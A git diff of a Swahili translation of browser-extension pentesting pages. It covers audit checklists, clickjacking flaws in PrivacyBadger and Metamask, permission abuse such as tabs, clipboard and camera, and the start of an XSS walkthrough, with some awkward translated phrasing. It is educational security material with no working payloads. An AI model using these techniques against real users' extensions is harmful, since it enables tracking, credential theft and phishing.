Bonyeza "Load unpacked extension...". Tembelea saraka ya kiendelezi chako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kutazama na kubadilisha msimbo wa kiendelezi ambacho tayari kimepakuliwa au kimeandaliwa. +Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" katika kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembelea saraka ya nyongeza yako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kutazama na kubadilisha msimbo wa nyongeza ambayo tayari imepakuliwa au kuandaliwa. -## Seti ya data ya manifest ya kiendelezi cha Chrome +## Seti ya data ya manifest ya nyongeza ya Chrome -Ili kujaribu kubaini viendelezi vya kivinjari vilivyo hatarini unaweza kutumia [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) na kuangalia faili zao za manifest kwa ishara zinazoweza kuwa hatarini. Kwa mfano kuangalia viendelezi vyenye watumiaji zaidi ya 25000, `content_scripts` na ruhusa `nativeMessaing`: +Ili kujaribu kubaini nyongeza za kivinjari zenye udhaifu unaweza kutumia [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) na kuangalia faili zao za manifest kwa ishara zinazoweza kuwa na udhaifu. Kwa mfano kuangalia nyongeza zenye watumiaji zaidi ya 25000, `content_scripts` na ruhusa `nativeMessaing`: ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" @@ -643,13 +643,13 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi - [ ] **Punguza** kadri iwezekanavyo **`permissions`** zinazohitajika - [ ] **Punguza** kadri iwezekanavyo **`host_permissions`** - [ ] Tumia **sera thabiti** ya **`content_security_policy`** -- [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo la kawaida, eleza **`{}`** +- [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo-msingi, eleza **`{}`** - [ ] Ikiwa **URL inayoweza kuathiriwa na XSS au kuchukuliwa** imetajwa hapa, mshambuliaji ataweza **kutuma ujumbe kwa scripts za nyuma moja kwa moja**. Njia yenye nguvu ya kupita. - [ ] **Punguza** kadri iwezekanavyo **`web_accessible_resources`**, hata ikiwa tupu ikiwa inawezekana. - [ ] Ikiwa **`web_accessible_resources`** si hakuna, angalia [**ClickJacking**](browext-clickjacking.md) - [ ] Ikiwa mawasiliano yoyote yanatokea kutoka kwa **kiongezeo** hadi **ukurasa wa wavuti**, [**angalia XSS**](browext-xss-example.md) **mapungufu** yaliyosababishwa katika mawasiliano. - [ ] Ikiwa Post Messages zinatumika, angalia [**Post Message vulnerabilities**](../postmessage-vulnerabilities/)**.** -- [ ] Ikiwa **Content Script inapata maelezo ya DOM**, angalia kwamba hazifanyi **XSS** ikiwa zinabadilishwa na wavuti +- [ ] Ikiwa **Content Script inapata maelezo ya DOM**, angalia kwamba hazifanyi **XSS** ikiwa zitabadilishwa na wavuti - [ ] Fanya mkazo maalum ikiwa mawasiliano haya yanahusishwa pia katika **Mawasiliano ya Content Script -> Script ya Nyuma** - [ ] Ikiwa script ya nyuma inawasiliana kupitia **ujumbe wa asili** angalia mawasiliano ni salama na yameondolewa - [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **msimbo** wa Kiongezeo cha Kivinjari @@ -670,13 +670,13 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi - **Uchambuzi wa Hatari ya Clickjacking**: Ugunduzi wa kurasa za HTML za kiongezeo zenye mwelekeo wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) zilizowekwa. Hizi zinaweza kuwa na hatari ya clickjacking kulingana na kusudi la kurasa hizo. - **Mtazamaji wa Onyo la Ruhusa**: unaonyesha orodha ya onyo zote za ruhusa za Chrome ambazo zitaonyeshwa wakati mtumiaji anajaribu kufunga kiongezeo. - **Kazi Hatari**: inaonyesha eneo la kazi hatari ambazo zinaweza kutumiwa na mshambuliaji (mfano, kazi kama innerHTML, chrome.tabs.executeScript). -- **Nukta za Kuingia**: inaonyesha mahali kiongezeo kinapochukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo. +- **Nukta za Kuingia**: inaonyesha mahali ambapo kiongezeo kinachukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo. - Wote skana za Kazi Hatari na Nukta za Kuingia zina yafuatayo kwa arifa zao zilizozalishwa: - Kipande cha msimbo kinachohusiana na mstari ulioleta arifa. - Maelezo ya tatizo. - Kitufe cha "Tazama Faili" ili kuona faili kamili ya chanzo inayohusisha msimbo. -- Njia ya faili iliyoarifiwa. -- URI kamili ya kiongezeo cha Chrome ya faili iliyoarifiwa. +- Njia ya faili iliyoonyeshwa. +- URI kamili ya kiongezeo cha Chrome ya faili iliyoonyeshwa. - Aina ya faili ni, kama vile script ya Ukurasa wa Nyuma, Script ya Maudhui, Kitendo cha Kivinjari, nk. - Ikiwa mstari unaoweza kuathiriwa uko katika faili ya JavaScript, njia za kurasa zote ambapo imejumuishwa pamoja na aina za kurasa hizi, na hali ya [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources). - **Mchambuzi wa Sera ya Usalama wa Maudhui (CSP) na mchakato wa kupita**: Hii itaonyesha udhaifu katika CSP ya kiongezeo chako na pia itaonyesha njia zozote zinazoweza kupita CSP yako kutokana na CDNs zilizoorodheshwa, nk. @@ -684,7 +684,7 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi - Pakua kiongezeo na toleo lililopangwa. - Pakua kiongezeo asilia. - Pakua toleo lililopambwa la kiongezeo (HTML na JavaScript iliyopambwa kiotomatiki). -- Hifadhi matokeo ya uchunguzi kiotomatiki, kuendesha uchunguzi wa kiongezeo kutachukua muda mzuri mara ya kwanza unapoendesha. Hata hivyo, mara ya pili, ikiwa kiongezeo hakijasasishwa, itakuwa karibu mara moja kutokana na matokeo kuhifadhiwa. +- Hifadhi matokeo ya uchunguzi kiotomatiki, kuendesha uchunguzi wa kiongezeo kutachukua muda mzuri mara ya kwanza unapoendesha. Hata hivyo, mara ya pili, ikiwa kiongezeo hakijasasishwa, itakuwa karibu papo hapo kutokana na matokeo kuhifadhiwa. - URL za Ripoti zinazoweza kuunganishwa, rahisi kuunganisha mtu mwingine kwenye ripoti ya kiongezeo iliyozalishwa na tarnish. ### [Neto](https://github.com/elevenpaths/neto) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index fec05ecd3..b70aa223f 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -4,7 +4,7 @@ ## Basic Information -Ukurasa huu utatumia udhaifu wa ClickJacking katika nyongeza ya Kivinjari.\ +Ukurasa huu utafaidika na udhaifu wa ClickJacking katika nyongeza ya kivinjari.\ Ikiwa hujui ClickJacking ni nini angalia: {{#ref}} @@ -15,7 +15,7 @@ Nyongeza zina faili **`manifest.json`** na faili hiyo ya JSON ina uwanja `web_ac > Rasilimali hizi zitapatikana katika ukurasa wa wavuti kupitia URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, ambayo inaweza kuzalishwa kwa kutumia **`extension.getURL method`**. Rasilimali zilizoorodheshwa zinatolewa na vichwa vya CORS vinavyofaa, hivyo zinapatikana kupitia mitambo kama XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) -**`web_accessible_resources`** katika nyongeza ya kivinjari si tu zinapatikana kupitia wavuti; pia zinafanya kazi kwa ruhusa za ndani za nyongeza. Hii inamaanisha zina uwezo wa: +**`web_accessible_resources`** katika nyongeza ya kivinjari si tu zinazopatikana kupitia wavuti; pia zinafanya kazi kwa ruhusa za ndani za nyongeza. Hii inamaanisha zina uwezo wa: - Kubadilisha hali ya nyongeza - Kupakia rasilimali za ziada @@ -32,7 +32,7 @@ Katika nyongeza ya PrivacyBadger, udhaifu uligundulika kuhusiana na saraka ya `s "icons/*" ] ``` -Hali hii ilileta tatizo la usalama. Kwa haswa, faili la `skin/popup.html`, ambalo linaonyeshwa wakati wa mwingiliano na ikoni ya PrivacyBadger kwenye kivinjari, linaweza kuingizwa ndani ya `iframe`. Kuingizwa huku kunaweza kutumika kudanganya watumiaji kujiingiza kwa bahati mbaya kwenye kubofya "Disable PrivacyBadger for this Website". Kitendo kama hicho kingehatarisha faragha ya mtumiaji kwa kuzima ulinzi wa PrivacyBadger na kwa uwezekano kupelekea mtumiaji kufuatiliwa zaidi. Onyesho la kuona la exploit hii linaweza kuangaliwa katika mfano wa video ya ClickJacking iliyotolewa kwenye [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). +Mkonfigu huu ulisababisha tatizo la usalama. Kwa haswa, faili la `skin/popup.html`, ambalo linaonyeshwa wakati wa mwingiliano na ikoni ya PrivacyBadger kwenye kivinjari, linaweza kuingizwa ndani ya `iframe`. Kuingizwa huku kunaweza kutumika kudanganya watumiaji kujiingiza kwa bahati mbaya kwenye kubofya "Disable PrivacyBadger for this Website". Kitendo kama hicho kingeathiri faragha ya mtumiaji kwa kuzima ulinzi wa PrivacyBadger na kwa uwezekano kupelekea mtumiaji kufuatiliwa zaidi. Onyesho la kuona la exploit hii linaweza kuangaliwa katika mfano wa video ya ClickJacking iliyotolewa kwenye [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). Ili kushughulikia udhaifu huu, suluhisho rahisi lilitekelezwa: kuondoa `/skin/*` kutoka kwenye orodha ya `web_accessible_resources`. Mabadiliko haya yalipunguza hatari kwa kuhakikisha kwamba maudhui ya saraka ya `skin/` hayawezi kufikiwa au kubadilishwa kupitia rasilimali zinazoweza kufikiwa mtandaoni. @@ -79,11 +79,11 @@ A [**blog post about a ClickJacking in metamask can be found here**](https://slo
-**ClickJacking nyingine iliyorekebishwa** katika nyongeza ya Metamask ilikuwa kwamba watumiaji wangeweza **Click to whitelist** wakati ukurasa ulikuwa na shaka kuwa ni uvuvi kwa sababu ya `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kwa kuwa ukurasa huo ulikuwa na udhaifu wa Clickjacking, mshambuliaji angeweza kuutumia kuonyesha kitu cha kawaida ili kumfanya mwathirika abonyeze kuorodhesha bila kutambua, na kisha kurudi kwenye ukurasa wa uvuvi ambao utaorodheshwa. +**ClickJacking nyingine iliyorekebishwa** katika nyongeza ya Metamask ilikuwa kwamba watumiaji walikuwa na uwezo wa **Click to whitelist** wakati ukurasa ulikuwa na shaka kuwa ni uvuvi kwa sababu ya `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kwa kuwa ukurasa huo ulikuwa na udhaifu wa Clickjacking, mshambuliaji angeweza kuutumia kuonyesha kitu cha kawaida ili kumfanya mwathirika abonyeze kuorodhesha bila kutambua, na kisha kurudi kwenye ukurasa wa uvuvi ambao utaorodheshwa. ## Mfano wa Steam Inventory Helper -Angalia ukurasa ufuatao ili kuona jinsi **XSS** katika nyongeza ya kivinjari ilivyofunganishwa na udhaifu wa **ClickJacking**: +Angalia ukurasa ufuatao ili kuona jinsi **XSS** katika nyongeza ya kivinjari ilivyofungamanishwa na udhaifu wa **ClickJacking**: {{#ref}} browext-xss-example.md diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 7a64246cd..e04a068bb 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -1,4 +1,4 @@ -# BrowExt - ruhusa & ruhusa_za_host +# BrowExt - ruhusa & ruhusa_za_kiwanja {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ### **`permissions`** -Ruhusa zinapangwa katika faili la **`manifest.json`** la nyongeza kwa kutumia mali ya **`permissions`** na zinaruhusu ufikiaji wa karibu kila kitu ambacho kivinjari kinaweza kufikia (Cookies au Hifadhi ya Kimwili): +Ruhusa zin defined katika faili la **`manifest.json`** la nyongeza kwa kutumia mali ya **`permissions`** na zinaruhusu ufikiaji wa karibu kila kitu ambacho kivinjari kinaweza kufikia (Cookies au Hifadhi ya Kimwili): Manifest iliyopita inatangaza kwamba nyongeza inahitaji ruhusa ya `storage`. Hii inamaanisha kwamba inaweza kutumia [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kuhifadhi data zake kwa muda mrefu. Tofauti na cookies au API za `localStorage` ambazo zinawapa watumiaji kiwango fulani cha udhibiti, **hifadhi ya nyongeza kwa kawaida inaweza kufutwa tu kwa kuondoa nyongeza**. @@ -18,7 +18,7 @@ Unaweza kupata [**orodha kamili ya ruhusa ambazo Nyongeza ya Kivinjari cha Chrom ### `host_permissions` -Mipangilio ya hiari lakini yenye nguvu **`host_permissions`** inaonyesha ni hosts gani nyongeza itakuwa na uwezo wa kuingiliana kupitia APIs kama [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), na [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). +Mipangilio ya hiari lakini yenye nguvu **`host_permissions`** inaonyesha ni mwenyeji gani ambao nyongeza itakuwa na uwezo wa kuingiliana nao kupitia APIs kama [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), na [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Ruhusa zifuatazo za `host_permissions` kimsingi zinaruhusu kila wavuti: ```json @@ -43,7 +43,7 @@ Hizi ni mwenyeji ambao nyongeza ya kivinjari inaweza kufikia bure. Hii ni kwa sa ### Tabs -Zaidi ya hayo, **`host_permissions`** pia hufungua kazi za “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **. Zinawaruhusu nyongeza kuita [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) na sio tu kupata **orodha ya tabs za kivinjari za mtumiaji** bali pia kujifunza ni **ukurasa gani wa wavuti (maana anwani na kichwa) umepakuliwa**. +Zaidi ya hayo, **`host_permissions`** pia inafungua kazi za “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **. Zinawawezesha nyongeza kuita [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) na sio tu kupata **orodha ya tabs za kivinjari za mtumiaji** bali pia kujifunza ni **ukurasa gani wa wavuti (maana anwani na kichwa) umepakuliwa**. > [!CAUTION] > Si hivyo tu, wasikilizaji kama [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **wanakuwa na manufaa zaidi pia**. Hizi zitaarifiwa kila wakati ukurasa mpya unapopakuliwa kwenye tab. @@ -52,21 +52,21 @@ Zaidi ya hayo, **`host_permissions`** pia hufungua kazi za “advanced” [**tab Scripts za maudhui si lazima ziandikwe kwa njia ya kudumu kwenye hati ya nyongeza. Ikiwa kuna **`host_permissions`** ya kutosha, **nyongeza zinaweza pia kuzipakia kwa njia ya kidinamikali kwa kuita** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **au** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). -APIs zote mbili zinaruhusu kutekeleza si tu faili zilizomo kwenye nyongeza kama scripts za maudhui bali pia **kod**e za kiholela. Ya kwanza inaruhusu kupitisha msimbo wa JavaScript kama string wakati ya pili inatarajia kazi ya JavaScript ambayo ina uwezekano mdogo wa udhaifu wa sindano. Hata hivyo, APIs zote mbili zitaharibu ikiwa zitatumiwa vibaya. +APIs zote mbili zinaruhusu kutekeleza si tu faili zilizomo kwenye nyongeza kama scripts za maudhui bali pia **kod**e zisizo na mipaka. Ya kwanza inaruhusu kupitisha msimbo wa JavaScript kama string wakati ya pili inatarajia kazi ya JavaScript ambayo ina uwezekano mdogo wa udhaifu wa kuingizwa. Hata hivyo, APIs zote mbili zitaleta machafuko ikiwa zitatumiwa vibaya. > [!CAUTION] > Mbali na uwezo ulio juu, scripts za maudhui zinaweza kwa mfano **kudukua akidi** wakati zinapoingizwa kwenye kurasa za wavuti. Njia nyingine ya kawaida ya kuzitumia vibaya ni **kuingiza matangazo** kwenye kila tovuti. Kuongeza **ujumbe wa udanganyifu** ili kudhuru uaminifu wa tovuti za habari pia inawezekana. Hatimaye, zinaweza **kubadilisha tovuti za benki** ili kuelekeza uhamisho wa pesa. ### Privileges zisizo za moja kwa moja -Baadhi ya ruhusa za nyongeza **hazihitaji kutangazwa wazi**. Mfano mmoja ni [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): kazi yake ya msingi inapatikana bila ruhusa yoyote. Nyongeza yoyote inaweza kuarifiwa unapofungua na kufunga tabs, haitajua tu ni tovuti zipi tabs hizi zinahusiana nazo. +Baadhi ya haki za nyongeza **hazihitaji kutangazwa wazi**. Mfano mmoja ni [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): kazi yake ya msingi inapatikana bila haki zozote. Nyongeza yoyote inaweza kuarifiwa unapofungua na kufunga tabs, haitajua tu ni tovuti zipi tabs hizi zinahusiana nazo. -Inasikika kuwa haina madhara? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ni kidogo chini ya hivyo. Inaweza kutumika ku **unda tab mpya**, kimsingi sawa na [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ambayo inaweza kuitwa na tovuti yoyote. Hata hivyo, wakati `window.open()` inakabiliwa na **kizuizi cha pop-up, `tabs.create()` haiko**. +Inasikika kuwa haina madhara? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ni kidogo zaidi. Inaweza kutumika ku **unda tab mpya**, kimsingi sawa na [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ambayo inaweza kuitwa na tovuti yoyote. Hata hivyo, wakati `window.open()` inakabiliwa na **kizuizi cha pop-up, `tabs.create()` haiko hivyo**. > [!CAUTION] > Nyongeza inaweza kuunda idadi yoyote ya tabs wakati wowote inapotaka. -Ukichunguza vigezo vya `tabs.create()`, pia utaona kwamba uwezo wake unazidi kile ambacho `window.open()` inaruhusiwa kudhibiti. Na wakati Firefox haitoi `data:` URIs kutumika na API hii, Chrome haina ulinzi kama huo. **Matumizi ya URIs kama hizo kwenye kiwango cha juu yamekuwa** [**yamepigwa marufuku kwa sababu ya kutumiwa vibaya kwa udukuzi**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +Ukichunguza vigezo vya `tabs.create()`, pia utaona kwamba uwezo wake unazidi kile ambacho `window.open()` inaruhusiwa kudhibiti. Na wakati Firefox haiwezi kutumia `data:` URIs na API hii, Chrome haina ulinzi kama huo. **Matumizi ya URIs kama hizo kwenye kiwango cha juu yamekuwa** [**yamepigwa marufuku kwa sababu ya kutumiwa vibaya kwa udukuzi**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** [**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) ni sawa sana na `tabs.create()` lakini it **badilisha tab iliyopo**. Hivyo nyongeza mbaya inaweza kwa mfano kupakia ukurasa wa matangazo kwenye moja ya tabs zako, na inaweza pia kuamsha tab inayohusiana. @@ -77,17 +77,17 @@ Huenda unajua kwamba tovuti zinaweza kuomba ruhusa maalum, kwa mfano ili kufikia > [!CAUTION] > Si hivyo kwa nyongeza za kivinjari. **Ikiwa nyongeza ya kivinjari** [**inataka kufikia kamera yako ya wavuti au kipaza sauti**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, inahitaji tu kuomba ruhusa mara moja** -Kawaida, nyongeza itafanya hivyo mara moja baada ya kufungwa. Mara hii ombi likikubaliwa, **ufikiaji wa kamera ya wavuti unapatikana wakati wowote**, hata kama mtumiaji hajiingizi na nyongeza kwa wakati huu. Ndio, mtumiaji atakubali tu ombi hili ikiwa nyongeza inahitaji kweli ufikiaji wa kamera ya wavuti. Lakini baada ya hapo wanapaswa kuamini nyongeza hiyo isirekodi chochote kwa siri. +Kawaida, nyongeza itafanya hivyo mara moja baada ya kufungwa. Mara hii ombi likikubaliwa, **ufikiaji wa kamera ya wavuti unapatikana wakati wowote**, hata kama mtumiaji hajishughulishi na nyongeza kwa wakati huu. Ndio, mtumiaji atakubali tu ombi hili ikiwa nyongeza inahitaji kweli ufikiaji wa kamera ya wavuti. Lakini baada ya hapo wanapaswa kuamini nyongeza hiyo isirekodi chochote kwa siri. -Kwa ufikiaji wa [eneo lako halisi la kijiografia](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) au [maudhui ya clipboard yako](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), kutoa ruhusa wazi si lazima kabisa. **Nyongeza inachangia tu `geolocation` au `clipboard` kwenye** [**entry ya ruhusa**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ya hati yake**. Hizi ruhusa za ufikiaji zinatolewa kwa njia isiyo ya moja kwa moja wakati nyongeza inasakinishwa. Hivyo nyongeza mbaya au iliyovunjika yenye ruhusa hizi inaweza kuunda wasifu wako wa mwendo au kufuatilia clipboard yako kwa nywila zilizokopwa bila wewe kugundua chochote. +Kwa ufikiaji wa [eneo lako halisi la kijiografia](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) au [maudhui ya clipboard yako](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), kutoa ruhusa wazi si lazima kabisa. **Nyongeza inachangia tu `geolocation` au `clipboard` kwenye** [**kidirisha cha ruhusa**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **ya hati yake**. Hizi haki za ufikiaji kisha zinatolewa kwa njia isiyo ya moja kwa moja wakati nyongeza inafungwa. Hivyo nyongeza mbaya au iliyovunjika yenye haki hizi inaweza kuunda wasifu wako wa mwendo au kufuatilia clipboard yako kwa nywila zilizokopwa bila wewe kugundua chochote. -Kuongeza neno **`history`** kwenye [entry ya ruhusa](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) ya hati ya nyongeza kunatoa **ufikiaji wa** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Inaruhusu kupata historia yote ya kivinjari ya mtumiaji mara moja, bila kusubiri mtumiaji kutembelea tovuti hizi tena. +Kuongeza neno **`history`** kwenye [kidirisha cha ruhusa](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) ya hati ya nyongeza kunatoa **ufikiaji wa** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Inaruhusu kupata historia yote ya kivinjari ya mtumiaji mara moja, bila kusubiri mtumiaji kutembelea tovuti hizi tena. Ruhusa ya **`bookmarks`** ina uwezo wa matumizi mabaya sawa, hii inaruhusu **kusoma alama zote kupitia** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). ### Ruhusa ya Hifadhi -Hifadhi ya nyongeza ni mkusanyiko wa funguo-thamani, sawa sana na [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) ambayo tovuti yoyote inaweza kutumia. Hivyo hakuna taarifa nyeti inapaswa kuhifadhiwa hapa. +Hifadhi ya nyongeza ni mkusanyiko wa funguo-thamani, sawa na [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) ambayo tovuti yoyote inaweza kutumia. Hivyo hakuna taarifa nyeti inapaswa kuhifadhiwa hapa. Hata hivyo, kampuni za matangazo zinaweza pia kutumia hifadhi hii vibaya. @@ -99,9 +99,9 @@ Unaweza kupata [**orodha kamili ya ruhusa ambazo Nyongeza ya Kivinjari ya Chromi Sera ya mtengenezaji wa Google inakataza wazi nyongeza kuomba ruhusa zaidi ya zile zinazohitajika kwa kazi zao, kwa ufanisi kupunguza maombi ya ruhusa kupita kiasi. Mfano mmoja ambapo nyongeza ya kivinjari ilipita mipaka hii ni pamoja na usambazaji wake na kivinjari chenyewe badala ya kupitia duka la nyongeza. -Vivinjari vinaweza pia kupunguza matumizi mabaya ya ruhusa za nyongeza. Kwa mfano, APIs za Chrome [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) na [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) zinazotumika kwa kurekodi skrini, zimeundwa ili kupunguza matumizi mabaya. API ya tabCapture inaweza kuamshwa tu kupitia mwingiliano wa moja kwa moja wa mtumiaji, kama kubofya kwenye ikoni ya nyongeza, wakati desktopCapture inahitaji uthibitisho wa mtumiaji kwa dirisha lililo kwenye rekodi, kuzuia shughuli za kurekodi kwa siri. +Vivinjari vinaweza pia kupunguza matumizi mabaya ya haki za nyongeza. Kwa mfano, [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) na [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs za Chrome, zinazotumika kwa kurekodi skrini, zimeundwa ili kupunguza matumizi mabaya. API ya tabCapture inaweza kuamshwa tu kupitia mwingiliano wa moja kwa moja wa mtumiaji, kama kubofya kwenye ikoni ya nyongeza, wakati desktopCapture inahitaji uthibitisho wa mtumiaji kwa dirisha kurekodiwa, kuzuia shughuli za kurekodi kwa siri. -Hata hivyo, kuimarisha hatua za usalama mara nyingi husababisha kupungua kwa kubadilika na urahisi wa matumizi wa nyongeza. Ruhusa ya [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) inaonyesha biashara hii. Ilianzishwa ili kuondoa hitaji la nyongeza kuomba ruhusa za mwenyeji katika mtandao mzima, ikiruhusu nyongeza kufikia tu tab ya sasa baada ya kuamshwa wazi na mtumiaji. Mfano huu ni mzuri kwa nyongeza zinazohitaji vitendo vilivyoanzishwa na mtumiaji lakini unashindwa kwa zile zinazohitaji vitendo vya kiotomatiki au vya awali, hivyo kuathiri urahisi na majibu ya haraka. +Hata hivyo, kuimarisha hatua za usalama mara nyingi husababisha kupungua kwa kubadilika na urahisi wa matumizi wa nyongeza. Ruhusa ya [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) inaonyesha biashara hii. Ilianzishwa ili kuondoa hitaji la nyongeza kuomba ruhusa za mwenyeji katika mtandao mzima, ikiruhusu nyongeza kufikia tu tab ya sasa baada ya kuamshwa wazi na mtumiaji. Mfano huu ni mzuri kwa nyongeza zinazohitaji vitendo vilivyoanzishwa na mtumiaji lakini unashindwa kwa zile zinazohitaji vitendo vya moja kwa moja au vya awali, hivyo kuathiri urahisi na majibu ya haraka. ## **Marejeleo** diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index ff2960129..474b90fab 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -80,7 +80,7 @@ persistData() ``` Hii snippet inapata **thamani** kutoka kwa **`txtName`** input field na inatumia **mchanganyiko wa nyuzi kuunda HTML**, ambayo kisha inaongezwa kwenye DOM kwa kutumia jQuery’s `.append()` function. -Kwa kawaida, Sera ya Usalama wa Maudhui (CSP) ya nyongeza ya Chrome ingepunguza udhaifu kama huu. Hata hivyo, kutokana na **kuondolewa kwa ukali kwa CSP na ‘unsafe-eval’** na matumizi ya mbinu za usimamizi wa DOM za jQuery (ambazo zinatumia [`globalEval()`](https://api.jquery.com/jquery.globaleval/) kupitisha scripts kwa [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) wakati wa kuingiza DOM), unyakuzi bado unawezekana. +Kwa kawaida, Sera ya Usalama wa Maudhui (CSP) ya nyongeza ya Chrome ingepunguza udhaifu kama huu. Hata hivyo, kutokana na **kuondolewa kwa CSP na ‘unsafe-eval’** na matumizi ya mbinu za usimamizi wa DOM za jQuery (ambazo zinatumia 